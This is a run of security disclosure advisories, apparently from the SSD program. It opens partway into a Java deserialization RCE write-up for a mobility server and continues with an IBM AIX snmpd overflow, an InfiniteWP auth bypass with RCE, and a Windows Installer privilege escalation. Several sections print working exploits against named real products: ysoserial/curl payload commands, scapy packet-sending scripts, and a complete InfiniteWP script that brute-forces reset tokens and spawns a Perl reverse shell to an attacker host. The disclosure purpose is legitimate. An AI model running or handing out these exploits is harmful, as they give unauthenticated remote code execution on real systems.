          str = str + MvcUtil.capsToUnderscores(str1) + ".jsp";
        forwardTo(str, paramHttpServletRequest, paramHttpServletResponse);
      } catch (IllegalAccessException illegalAccessException) {
        throw new ServletException("Could not access controller '" + str3 + "'");
      } catch (InstantiationException instantiationException) {
        throw new ServletException("Could not instantiate controller '" + str3 + "'");
      }
    } else {
      throw new ServletException("Could not determine controller package.");
    }
  }

It’s possible to reach [1] unauthenticated meaning which is the invoke method of the com.nmwco.server.mvc.MvcController class using attacker controlled data as the second argument.

  public final void invoke(ServletContext paramServletContext, HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException {
    this.context = paramServletContext;
    this.request = paramHttpServletRequest;
    this.response = paramHttpServletResponse;
    this.session = paramHttpServletRequest.getSession();
    if (null != this.session) {
      Object object1 = this.session.getAttribute(getSessionModelName());
      if (null != object1) {
        if (object1 instanceof MvcModel) {
          this.model = (MvcModel)object1;
          this.resultInvocation = true;
        }
        this.session.removeAttribute(getSessionModelName());
      }
      Object object2 = this.session.getAttribute("info");
      if (null != object2) {
        paramHttpServletRequest.setAttribute("info", object2);
        this.session.removeAttribute("info");
      }
      Object object3 = this.session.getAttribute("error");
      if (null != object3) {
        paramHttpServletRequest.setAttribute("error", object3);
        this.session.removeAttribute("error");
      }
      Object object4 = this.session.getAttribute("warning");
      if (null != object4) {
        paramHttpServletRequest.setAttribute("warning", object4);
        this.session.removeAttribute("warning");
      }
    }
    if (null == this.model)
      this.model = new MvcModel();
    this.model.putRequestParameters(paramHttpServletRequest);           // 2

An attacker can reach [2] which is a call to MvcModel.putRequestParameters using their controlled data.

  public void putRequestParameters(HttpServletRequest paramHttpServletRequest) {
    String str = paramHttpServletRequest.getParameter("Mvc_x_Form_x_Name");
    if (null != str) {
      Object object = MvcUtil.valueStringToObject(str);    // 3
      if (object instanceof Map)
        this.map = uncheckedCast(object);
    }

At [3] the MvcUtil.valueStringToObject method is called if the attacker supplied the query parameter Mvc_x_Form_x_Name.

  public static Object valueStringToObject(String paramString) {
    Object object = null;
    if (null != paramString)
      try {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(paramString.getBytes("UTF-8"));
        Base64InputStream base64InputStream = new Base64InputStream(byteArrayInputStream);
        ObjectInputStream objectInputStream = null;
        try {
          GZIPInputStream gZIPInputStream = new GZIPInputStream((InputStream)base64InputStream);
          objectInputStream = new ObjectInputStream(gZIPInputStream);
          object = objectInputStream.readObject();    // 4
        } catch (ClassNotFoundException classNotFoundException) {

        } catch (IOException iOException) {

        } finally {
          if (null != objectInputStream)
            objectInputStream.close();
        }
      } catch (IOException iOException) {}
    return object;
  }

The value of Mvc_x_Form_x_Name is decoded from base64 and gzip inflated and finally has readObject called on it. An attacker can leverage this to achieve RCE.

PoC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
gzip payload.bin
curl -k "https://[target]/mobility/Menu/isLoggedOn" --data-urlencode "Mvc_x_Form_x_Name=`cat payload.bin.gz | base64 -w0`"

webrepdb StatusServlet Deserialization of Untrusted Data Remote Code Execution

In the com.nmwco.server.webrepdb.StatusServlet class we can see the following code:

public class StatusServlet extends HttpServlet {
  private static final long serialVersionUID = -8733972612715355572L;

  private RpcResponseDispatcher webRepdbDispatcher = new RpcResponseDispatcher(new WebRepDbRpcResponseCommand());

  private DownloadEngineContainer container;

  public void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    this.container = (DownloadEngineContainer)paramHttpServletRequest.getServletContext().getAttribute("com.nmwco.server.webrepdb.DownloadEngineContainer");
    this.webRepdbDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {   // 1
            return (RpcData)param1ObjectInputStream.readObject();
          }
        });
  }

  public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    doGet(paramHttpServletRequest, paramHttpServletResponse);
  }

At [1] the code sets up a dispatcher for a GET or POST request using a readObject call on attacker controlled data.

PoC

For this particular service, the CommonsCollections6 gadget wasn’t firing because it wasn’t loaded into the classpath. So I am just demonstrating here that deserialization is indeed working using a gadget in the JRE.

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testing.[collab-id].burpcollaborator.net > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/WebRepDb/status

You should see a DNS lookup for testing on your collab server.

Demo

SSD Advisory – IBM AIX snmpd ASN.1 OID parsing stack overflow

TL;DR

Find out how a vulnerability in IBM AIX’s snmpd service allows an unauthenticated attacker to trigger a stack overflow and potentially run arbitrary code on the server with root privileges.

Vulnerability Summary

IBM AIX (Advanced Interactive eXecutive) is a series of proprietary Unix operating systems developed and sold by IBM for several of its computer platforms. Originally released for the IBM RT PC RISC workstation, AIX now supports or has supported a wide variety of hardware platforms, including the IBM RS/6000 series and later POWER and PowerPC-based systems, AS400 hardware (which runs the OS IBM iSeries aka IBM System i), System/370 mainframes, PS/2 personal computers, and the Apple Network Server.

A vulnerability in AIX’s snmpd service allow unauthenticated attackers to trigger a stack overflow in the service and potentially cause it to execute arbitrary code with root privileges.

Credit

Independent security researcher, Hacker Fantastic ( hackerfantastic ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

IBM AIX 5.3 and prior

IBM AIX 6.0 is suspected as being vulnerable

NOTE: IBM AIX 7.0 and prior are considered End of Life and are no longer supported, that said, they are still very much present and being in use in large companies – and thus we urge system administrators using this OS to contact IBM for a solution

Vendor Response

As the product is not currently supported, we had no way to get a patch or vendor respond for this vulnerability.

Many of our partners consist of institutional corporations working with AIX hardware. Firms not upgraded to the latest version where this exploit still exists, may be put in high risk, which is why we chose to disclose and pay or this vulnerability, even though no response was received from the vendor.

Vulnerability Analysis

The IBM AIX snmpmibd service is vulnerable to a stack-based buffer overflow when handling large OID values with SNMP GETNEXT PDU requests.

An attacker can request an OID beginning with 1.3.6.1.2.1.4.15 which will be expanded from the ASN.1 decoder into a fixed-size stack buffer, resulting in stack frame corruption and control of the $pc (program control register).

The issue can be triggered using standard system utilities such as with the
following request:

snmpgetnext -d -cpublic -v1 192.168.11.133 1.3.6.1.2.1.4.15.1.1.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.1234.4321.994321

The above request will set the remote target $pc to the value 0x34333230. This introduces a limitation of the attack vector, as OID values can only contain the characters 0-9 & . – an attacker must make the application
return into a memory page that uses these values. On AIX the heap for a
user space application mapping begins within 0x20000000 and can be mapped as high as 0x2FFFFFFF which can be tested trivially with a malloc() loop.

This allows for remote exploitation if an attacker sends packets which
allocate bytes on the heap containing attacker encoded ASN.1 data.

We have included a simple PoC which can be used to groom the heap using an SNMP request which will decode the ASN.1 packet contents onto the heap without calling free().

The lowest possible mapping page an attacker can return into with the stack corruption is 0x2e300040. By sending a large number of initial SNMP requests, the attacker can perform heap feng shui to place attacker controlled code into a page mapping that can be reached using the $pc overwrite.

We have included two proof-of-concepts with this advisory, the first is a PoC trigger that will set the $pc to the value 0x34333230 using scapy.

The second is a simple example of how heap feng shui is possible using a different SNMP request to expand the heap with approximately 128 bytes per SNMP packet request.

However, if the snmpmibd process maps beyond the 0x2Fxxxxxx boundary, the application will crash with an out-of-memory error which makes exploitation of this issue particularly difficult. An attacker must groom the heap to contain their user code before sending the $pc overwrite.

An additional raw packet is included which sets the lowest
possible return address for the snmpmibd stack overflow of 0x2e300040.pkt

0x2e300040.pkt

0000: 30 58 02 01  00 04 06 70  75 62 6C 69  63 A1 4B 02    0X.....public.K.
0016: 04 0E 84 9A  98 02 01 00  02 01 00 30  3D 30 3B 06    ...........0=0;.
0032: 37 2B 06 01  02 01 04 0F  01 01 88 80  80 80 03 88    7+..............
0048: 80 80 80 03  88 80 80 80  03 88 80 80  80 03 88 80    ................
0064: 80 80 03 88  80 80 80 03  88 80 80 80  03 88 80 80    ................
0080: 80 03 89 52  A1 61 5B 00  05 00                       ...R.a[...

Exploit

#!/usr/bin/env python
from scapy.all import *

# we send 1865915 packets to groom 128 byte heap allocations
# until we map the page 0x2exxxxxx - this is just below the heap
# maximum limit. god speed little PoC, god speed. hitting 0x2f
# allocations will cause a DoS condition making the groom tricky
if __name__ == "__main__":
	heapaddr = 0x2003D0B8 # heap allocations begin here
	test = False
	while test == False:
		print("heap spray address %x" % heapaddr)
		heapaddr = heapaddr + (0x80*1000) # 128 bytes leaked per packet below, groom with 1000 at a time
		send(IP(dst="192.168.11.133")/UDP()/SNMP(version=0, PDU=SNMPnext(id=1024284702,varbindlist=[SNMPvarbind(oid="1.3.6.1.2.1.2.2.1.22.3")])),count=1000)
		if(heapaddr >= 0x2e310000):
			print("we are inside the return zone 0x%x" % heapaddr)
			test = True
	print("setting our $pc to 0x2e302e30")
	send(IP(dst="192.168.11.133")/UDP()/SNMP(version=0, PDU=SNMPnext(id=1024284702,varbindlist=[SNMPvarbind(oid="1.3.6.1.2.1.4.15.1.1.214748 3651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147 483651.1234.4321.99.0.0",value="A"*255)])))
	print("congratulations, you win a core dump")
#!/usr/bin/env python
from scapy.all import * 
import asn1
import sys
import os

packet =b"\x30\x59\x02\x01\x00\x04\x06\x70\x75\x62\x6C\x69\x63"
packet+=b"\xA1\x4C\x02\x04\x67\xC3\xB3\x73\x02\x01\x00\x02\x01"
packet+=b"\x00\x30\x3E\x30\x3C"

asn1pkt =b"\x06\x38\x2B\x06\x01\x02\x01\x04\x0F\x01\x01\x88\x80\x80\x80\x03"
asn1pkt+=b"\x88\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88"
asn1pkt+=b"\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88\x80"
asn1pkt+=b"\x80\x80\x03\x89\x52\xA1\x61\xBC\xD8\x11\x05\x00"

if __name__ == "__main__":
	print("[ AIX 5.3L remote root 0day");
	encoder = asn1.Encoder()
	decoder = asn1.Decoder()
	decoder.start(asn1pkt)
	tag, value = decoder.read()
	print(value)
	pkt = IP(dst='192.168.11.133')/UDP(dport=161)/Raw(load=packet)/Raw(load=asn1pkt)
	hexdump(pkt)
	send(pkt)
	print("done.")

SSD Advisory – Auth Bypass and RCE in Infinite WP Admin Panel

TL;DR

Find out how a vulnerability in Infinite WP’s password reset mechanism allows an unauthenticated user to become authenticated and then carry out a Remote Code Execution.

Vulnerability Summary

InfiniteWP is “free self hosted, multiple WordPress site management solution. It simplifies your WordPress tasks with a click of a button”.

A vulnerability in InfiniteWP allows unauthenticated users to become authenticated if they know an email address of one of the users in the system, this is done through a flaw in the password reset mechanism of the product.

Credit

Independent security researcher, polict of Shielder ( ShielderSec ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Infinite WP 2.15.6 and prior

Fixed Versions

Infinite WP 2.15.7 and above

NOTE: the vulnerability was silently patched without updating the change log – therefore some versions after 2.15.6 and before 2.15.7 are also immune – the vendor has not disclosed to us what versions have this fix in place

CVE

CVE-2020-28642

Vendor Response

When we informed the vendor in September 2020, they stated that they were previously informed about the issue (reported to them a few months before) and they were planning to release the patch to everyone within 3-4 weeks.

They asked us to wait for Jan 2021, so that they can confirm that all their customers got patched.

A few days ago, we found out that other researcher has published his findings (around Nov 2020) and the vendor didn’t take the time to notify us of this – though they have promised they would – we have therefore decided to moved forward and released this full advisory.

Vulnerability Analysis

1. Weak password reset token

The password reset link is created by InfiniteWP Admin Panel by executing the code in function userLoginResetPassword($params) (inside controllers/appFunctions.php line 1341) :

$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));
$resetHash = sha1($hashValue);
[...]
$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

where $userDets[‘userID’] is the target user identifier and $params[“email”] is their email.An attacker only needs the user id, user email and the value produced by the call to microtime(true) in order to create the correct link and reset the victim’s password:

  • The user id is an auto-increment integer stored in the database, the default value is 1 because in order to have more users it is required to purchase the ‘manage-users’ addon (https://infinitewp.com/docs/addons/manage-users/); that being said, the attached exploit script by default tries values from 1 to 5;
  • The user email can be tested before the attack takes place since there’s a different HTTP response if the email entered is not registered: an HTTP redirect to login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound means the email is not registered, otherwise it is; the attached exploit script automatically notifies if the input email is not registered;
  • The value generated by microtime(true) is the current UNIX timestamp with microseconds (php.net/microtime), hence it can be guessed by using the HTTP “Date” header value (seconds precision) as a reference point for the dictionary creation.

By creating a dictionary list with all the possible resetHash values it is possible to guess the correct password reset token and reset the victim’s password. The attack will be successful with a maximum of 1 million tries over a 24 hours time window (the password reset token expires after 24 hours), which is a reasonable timing.

During the Proof-of-concept tests, the average total time required to successfully exploit the issues has been of 1 hour; that said the timings might differ depending on the specific network speed / congestion / configuration and the microtime call output.

At this point an attacker is able to reset the victim’s password and gain access to the Infinite WP Admin Panel, the next vulnerability will cover how to achieve authenticated Remote Code Execution on the host machine.

2. Remote Code Execution via “addFunctions” (bypass of “checkDataIsValid”)

In 2016 a remote code execution vulnerability was found in Infinite WP Admin Panel 2.8.0, which affected the /ajax.php API endpoint. The details are since publicly available at https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html

As written in the advisory, the vulnerability was fixed by adding a call to function checkDataIsValid($action) (controllers/panelRequestManager.php line 3782):

private static function checkDataIsValid($action){
    //Restricted function access
    $functions = array('addFunctions');
    if(!in_array($action, $functions)){
        return true;
    }
    return false;
}

However that check doesn’t take in consideration that PHP function names are case insensitive: by using addfunctions (notice the lowercase “f”) it is possible to bypass the patch and achieve remote code execution.

Demo

Exploit

#!/usr/bin/env python3
# coding: utf8
#
# exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6
#
# tested on:
# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020
#
# the bug chain is made of two bugs:
# 1. weak password reset token leads to privilege escalation
# 2. rce patch from 2016 can be bypassed with same payload but lowercase
#
# example run:
# $ ./iwp_rce.py -e 'a@b.c' -rh http://192.168.11.129/iwp -lh 192.168.11.1
# 2020-08-13 14:45:29,496 - INFO - initiating password reset...
# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...
# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G
# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
# /bin/sh: 0: can't access tty; job control turned off
# $ id
# uid=1(daemon) gid=1(daemon) groups=1(daemon)
# $ uname -a
# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
# $ exit
# *** Connection closed by remote host ***
# 
# polict, 13/08/2020

import sys, time
import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from concurrent.futures import as_completed
from requests_futures.sessions import FuturesSession
import logging
import logging.handlers
import datetime
from argparse import ArgumentParser
from hashlib import sha1
import socket
import telnetlib
from threading import Thread

### default settings
DEFAULT_LPORT = 9111
DEFAULT_MICROS = 1000000
DEFAULT_NEW_PASSWORD = "msCodWbsdxGGETswnmWJyANE/x2j6d9G"
PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"

### argument parsing
parser = ArgumentParser()
parser.add_argument("-rh", "--rhost", dest="rhost", required=True,
            help="remote InfiniteWP Admin Panel webroot, e.g.: http://10.10.10.11:8080/iwp")
parser.add_argument("-e", "--email", dest="email",
            help="target email", required=True)
parser.add_argument("-u", '--user-id', dest="uid",
            help="user_id (in the default installation it is 1, if not set will try 1..5)")
parser.add_argument("-lh", '--lhost', dest="lhost",
            help="local ip to use for remote shell connect-back",
            required=True)
parser.add_argument("-ts", '--token-timestamp', dest="start_ts",
            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")
parser.add_argument("-m", "--micros", dest="micros_elapsed",
            help="number of microseconds to test (if not set 1000000 (1 second))",
            default=DEFAULT_MICROS)
parser.add_argument("-lp", '--lport', dest="lport",
            help="local port to use for remote shell connect-back",
            default=DEFAULT_LPORT)
parser.add_argument("-p", '--new-password', dest="new_password",
            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),
            default=DEFAULT_NEW_PASSWORD)
parser.add_argument("-d", "--debug", dest="debug_mode",
            action="store_true",
            help="enable debug mode")
args = parser.parse_args()

log = logging.getLogger(__name__)
if args.debug_mode:
    log.setLevel(logging.DEBUG)
else:
    log.setLevel(logging.INFO)

handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
log.addHandler(handler)

### actual exploit logic
def init_pw_reset():
    global args
    start_clock = time.perf_counter()
    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    log.debug("init pw reset start ts: {}".format(start_ts))
    response = requests.post("{}/login.php".format(args.rhost), verify=False,
    data={
        "email": args.email, 
        "action": "resetPasswordSendMail", 
        "loginSubmit": "Send Reset Link"
    }, allow_redirects=False)
    log.debug("init pw reset returned these headers: {}".format(response.headers))
    """
    now we could use our registered timings to restrict the bruteforce values to the minimum range
    instead of using the whole "last second" microseconds range, however we can't be 100% sure
    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now

    # calculate actual ntp-time range
    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    delta_clock = end_clock - start_clock
    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)
    log.debug("end: {}".format(end_ts))
    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
    
    # this takes for garanteed that the response arrives before 1 minute is elapsed
    micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds
    log.debug("micros elapsed: {}".format(micros_elapsed))
    """

    if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:
        log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")
        sys.exit(1)

    # both redirects are ok because the reset hash is written in the db before sending the mail
    if response.status_code == 302 \
        and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \
            or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
        
        # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj
        server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')
        server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)
        log.debug("server time: {}".format(server_dt))
        """
        this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier

        if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):
            log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") 
        """
        args.start_ts = int(server_dt.timestamp())
        # args.micros_elapsed = 1000000

        return 
    else:
        log.error("pw reset init failed, check with debug enabled (-d)")
        sys.exit(1)

def generate_reset_hash(timestamp, uid):
    global args
    """
        $hashValue = serialize(array('hashCode' => 'resetPassword', 
        'uniqueTime' => microtime(true), 
        'userPin' => $userDets['userID']));

        ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}

        $resetHash = sha1($hashValue);
    """
    template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"
                       # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}
    serialized_resethash = template_ts_uid %(timestamp, uid)
    hash_obj = sha1(serialized_resethash.encode())
    reset_hash = hash_obj.hexdigest()
    log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))
    return reset_hash

def brute_pw_reset():
    global args, start_time
    if args.uid is None:
        # in the default installation the uid is 1, but let's try also some others in case they have installed 
        # the "manage-users" addon: https://infinitewp.com/docs/addons/manage-users/
        uids = [1,2,3,4,5]
    else:
        uids = [args.uid]
    log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))
    sha1_email = sha1(args.email.encode()).hexdigest()
    with FuturesSession() as session: # max_workers=4
        for uid in uids:
            log.info("starting with uid {}...".format(uid))
            microsecond = 0
            hashes_tested = 0
            while microsecond < args.micros_elapsed:
                futures = []
                # try 100k per time to avoid ram cluttering
                for _ in range(100000):
                    # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)
                    # unix_ts = int(test_ts.timestamp())
                    ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)
                    reset_hash = generate_reset_hash(ms_string, uid)
                    futures.append(session.post("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \
                        "action":"resetPasswordChange", \
                        "resetHash": reset_hash, \
                        "newPassword": args.new_password \
                    }, allow_redirects=False))
                    microsecond += 1
                for future in as_completed(futures):
                    if hashes_tested % 50000 == 0 and hashes_tested > 0:
                        log.info("tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
                    hashes_tested += 1
                    response = future.result()
                    log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))
                    if "successMsg" in response.headers["location"] :
                        log.info("password has been reset, you can now login using {}:{}".format(args.email, args.new_password))
                        log.info("removing from the queue all the remaining hashes...")
                        for future in futures:
                            future.cancel()
                        return
            log.info("target user doesn't have uid {}...".format(uid))

    log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))
    sys.exit(1)

def handler():
    global args
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", args.lport))
    s.listen(1)
    conn, addr = s.accept()
    log.debug("Connection from %s %s received!" % (addr[0], addr[1]))
    t.sock = conn
    t.interact()

def login_and_rce():
    global args
    handlerthr = Thread(target=handler)
    handlerthr.start()

    # login and record cookies
    s = requests.Session()
    log.debug("logging in...")
    login = s.post("{}/login.php".format(args.rhost), data={"email": args.email,
    "password": args.new_password,
    "loginSubmit": "Log in"})
    log.debug("login ret {} headers {}".format(login.status_code, login.headers))

    # rce
    rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",
    # notice the lowercase f 
    # (bypass of patch for https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html)
    "requiredData[addfunctions]" : "system", 
    "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)
    })
    log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))

if __name__ == '__main__':
    if args.start_ts is None:
        log.info("initiating password reset...")
        init_pw_reset()
    log.info("reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))
    brute_pw_reset()
    log.info("spawning a remote shell...")
    login_and_rce()

SSD Advisory – Windows Installer Elevation of Privileges Vulnerability

TL;DR

Vulnerability in Windows Installer allows local users to gain elevated SYSTEM privileges in Windows.

Vulnerability Summary

Windows Installer is a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software.

Windows Installer suffers from a local privilege escalation allowing a local user to gain SYSTEM on victim’s machine. Microsoft has made a patch available that addresses this issue.

Credit

Independent security researcher Abdelhamid Naceri (halov) has reported this vulnerability to the SSD Secure Disclosure program.

CVE

CVE-2020-16902

Affected Versions

Windows 7

Windows 8

Windows 10

Windows 2008

Windows 2012

Windows 2016

Windows 2019

Vendor Response

Microsoft has released patches to address this issue, for more details see: CVE-2020-16902 | Windows Installer Elevation of Privilege Vulnerability

Vulnerability Analysis

The vulnerability was first found by sandbox escaper. She posted the write up here.

As noted in the write up, the original vulnerability got addressed in CVE-2019-1415. However, it was possible to bypass the patch – this was reported to Microsoft and they released it via security patches for CVE-2020-0814 and CVE-2020-1302. It now turns out those patches can be bypassed as well.

Here’s the unpatched output of the windows installer output using Process Monitor:

And then here’s the updated version:

As you can see, there’s no call to SetSecurityFile to secure the folder and so setting up the security description in c:\ allows for a race condition – since by default an authenticated user has delete access to subdirectories. This means we can call CreateDirectory(path,&sz) and set sz to our security descriptor. That was the patch for CVE-2020-0814.

But wait, why should the directory be protected from a user?

Windows Installer Rollback Files and Scripts

When you try to install, repair, uninstall something you might notice that there’s a cancel button

According to the Microsoft Documentation when the Windows Installer processes the installation script for the installation of a product or application, it simultaneously generates a rollback script and saves a copy of every file deleted during the installation.

These files are kept in a hidden system directory and are automatically deleted once the installation is successfully completed. If however the installation is unsuccessful, the installer automatically performs a rollback that returns the system to its original state.

So if we can modify the rollback files we can do changes to the machine in the context of the windows installer service which runs as SYSTEM.

As you can see here:

There are probably no race conditions since we can’t access the directory because of the ACL.

The security descriptor doesn’t allow even a user to get read access to the directory.

But there’s still something we can do. As seen above, Windows installer doesn’t create the rollback script directly but rather creates a directory and puts temporary files in it, and then deletes the directory.

However, there’s a weird part when the windows installer checks to see if the directory still exists after it successfully deleted it (see the NAME NOT FOUND). If the directory still exist after Windows Installer deleted it, CVE-2020-1302 resurfaces.

As you can see Windows Installer tries to set the security of the folder, which can be easily abused: since we created the directory, we have the ownership of the directory and will have WRITE_DAC access to the directory. As soon as Windows Installer tries to change the ACL to make it write restricted we change it to give everyone access to the directory.

It should be noted that accessing the rollback is a little bit difficult: the rollback script is created with a security descriptor that allow only SYSTEM and Administrators to access to it, which means that even if we control the c:\config.msi directory we can’t access the rollback script. However as can be seen in CVE-2020-0814, we can move the entire directory and then replace it as, and at this point we would have control over the entire directory and this will allow us to delete or move it.

This means we can move the entire directory into a temporary place and then create it by ourselves and place in it our specially created rollback file which would then be executed. Windows Installer usually makes it harder than it sounds, since the Windows Installer creates the rollback file in the directory using a special sharing method:

As you can see we are only allowed read only access, so any attempt to access to it with delete or write access will result in SHARING_VIOALATION.

We can still do some damage sooner or later as the Windows Installer will close the handle, but then again reopen it when Windows Installer wants to read it after clicking on Cancel. In between these two steps we can to move the directory and replace it.

So far the vulnerability would require a timing attack: pressing on the Cancel button at the right moment. So we need to address it in order to make the LPE work seamlessly.

In order to do that, we’ll use an application called Advanced Installer, used to create MSI packages. This application has a nice feature called Custom Actions:

Clicking on it will show you these options:

Clicking on “Launch File” will bring up:

The interesting option is Fail the installation if the custom action return an error, this what we are looking for an automated rollback. You can also see an option at the bottom called Condition. Let’s see what we can do with it.

As you can see, it asks us for the expression and it expects something like if(condition==true){//then execute}

If you pick the Wizard option (just right of the text box), you can then select Feature and click Next:

We can pick the Feature is being reinstalled:

This will allow us to execute the file only if the package is being repaired, making our exploit no longer require any user interaction.

At this point we have everything ready, we have an MSI package that will fail, will automatically rollback and will execute our code – we just need the Rollback file placed in the right folder and we are set.

Our rollback file will modify the Fax service executable to something we control – since users are allowed to start this service without any special privileges, after the registry was modified we just need to star the service and we get SYSTEM privileges.

Exploit

Because the exploitation of this vulnerability requires building an MSI file and using Bluebear rollback generated file, we will not be providing an exploit for this vulnerability – a working exploit in binary form was provided to Microsoft and used by them to verify the findings.